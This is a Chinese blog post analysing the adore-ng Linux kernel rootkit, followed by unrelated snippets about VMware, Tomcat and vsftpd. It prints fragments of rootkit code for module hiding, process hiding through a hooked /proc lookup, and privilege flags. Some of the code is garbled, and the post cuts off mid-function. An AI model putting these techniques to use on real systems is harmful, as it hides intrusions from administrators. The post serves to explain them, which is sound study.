两个linux内核rootkit 之二：adore ng
这个rootkit使用的技术不比前一个，它不是拦截系统调用，而是拦截具体文件系统的回调函数，本身文件系统的回调函数就是动态注册的，很是不确定，那么反黑软件自然就不能简单下结论说这个函数被黑掉了，因此这个rootkit看来比前一个略胜一筹，自然的，既然是内核模块，那么模块隐藏也是一个重要的内容，以下是一个简单的模块隐藏代码，使用此代码的前提就是将此模块紧接着希望被隐藏的模块之后加载： ...//省略头文件 int init_module() { if (__this_module.next) //这个逻辑很简单，由于被隐藏的模块在这个模块之前加载，那么之需要更改该模块的next指针即可 __this_module.next = __this_module.next->next; return 0; } ...//省略 该rootkit的第一步就是用所有的进程构建一个位图hidden_procs，如果哪个进程需要隐藏，那么就将该进程的pid所在的位置置1，反之置0 inline void hide_proc(pid_t x) { if (x >= PID_MAX || x == 1) return; hidden_procs[x/8] |= 1parent->pid)) { task_unlock(p); hide_proc(pid); return 1; } task_unlock(p); return 0; } 查看进程的ps命令主要是遍历/proc文件系统的根目录，只要是数字的那么就被视为一个进程的pid，该rootkit隐藏进程的策略很简单，就是： sprintf(buf, APREFIX"/hide-%d", pid); close(open(buf, O_RDWR|O_CREAT, 0)); 由于open系统调用最终肯定会调用lookup回调函数，那么就在该lookup中做文章，如果想隐藏pid为n的进程，我们先在/proc创建一个新的文件hide-n文件，由于我们已经黑掉了具体proc文件系统的lookup回调函数为adore_lookup，所以我们可以将隐藏进程的操作放到该lookup中，在该lookup中如果发现有文件的前缀为hide-，那么我们就调用hide_proc函数，具体的pid就是该新建文件的第五个字符之后的字符串转化为数字。注意，这个adore_lookup函数一举两得，在新建带有hide-前缀文件的时候会隐藏文件，在ps命令查看进程的时候如果是已经隐藏的文件会返回NULL，这里有人可能会问，在/proc目录是没有权限创建新文件的，是的，是没有权限，关键是我们创建文件的目的不是创建一个新文件，而是仅仅希望使执行流到达lookup，从而调用hide_proc的目的，仅此而已： struct dentry *adore_lookup(struct inode *i, struct dentry *d) { task_lock(current); if (strncmp(ADORE_KEY, d->d_iname, strlen(ADORE_KEY)) == 0) { current->flags |= PF_AUTH; current->suid
相关文档：
虚拟机的网络采用Bridged(桥接)方式，刚开始以为，是因为机器上的有些网卡没有连接电缆，而VMWare又恰好使用了该网卡，经过几个小时的测试，通过禁用没连线的网卡、把VMWare的VM0映射到连线的其他网卡，都没有解决问题。
在VM虚拟机中装了redhatlinux9.0，准备与主机共享文件，结果网络不通！
&n ......
本人操作系统环境是UBUNTU 8.04 在超级权限下安装成功,仅供参考(前提得安装Linux 版本JDK)
基本介绍:
Tomcat
是一个免费的开源的Serlvet容器，它是Apache基金会的Jakarta项目中的一个核心项目，由Apache，Sun和其它一些公司及个人共同开发而成。由于有了Sun的参与和支持，最新的Servlet和Jsp规范总能在Tomcat� ......
在Suse10.1下安装EOS5.3，界面按钮凡中文都是方格，可在终端查看中文都是好的，网上搜了好几天，终于弄明白原因。
EOS5.3使用的是jdk1.4.2，在suse下没有jdk默认要求的中文字体，需要做额外的配置，修改方法如下：
1.使用su命令切换为root用户，再使用cd命令切换到jdk安装路径下的jre；例如：
......
最近需要在linux下写PHP程序实现ftp文件的上传和下载功能，需实现不同ftp用户登陆到各自目录下，并对其进行相关权限配置，经过
搜索，发现vsftpd使用比较广泛，决定采用vsftpd架设ftp服务器来进行测试。
安装比较简单，直接安装vsftpd及db4的rpm包即可，默认是支持匿名登陆方式的，考虑实际应用，肯定是不� ......
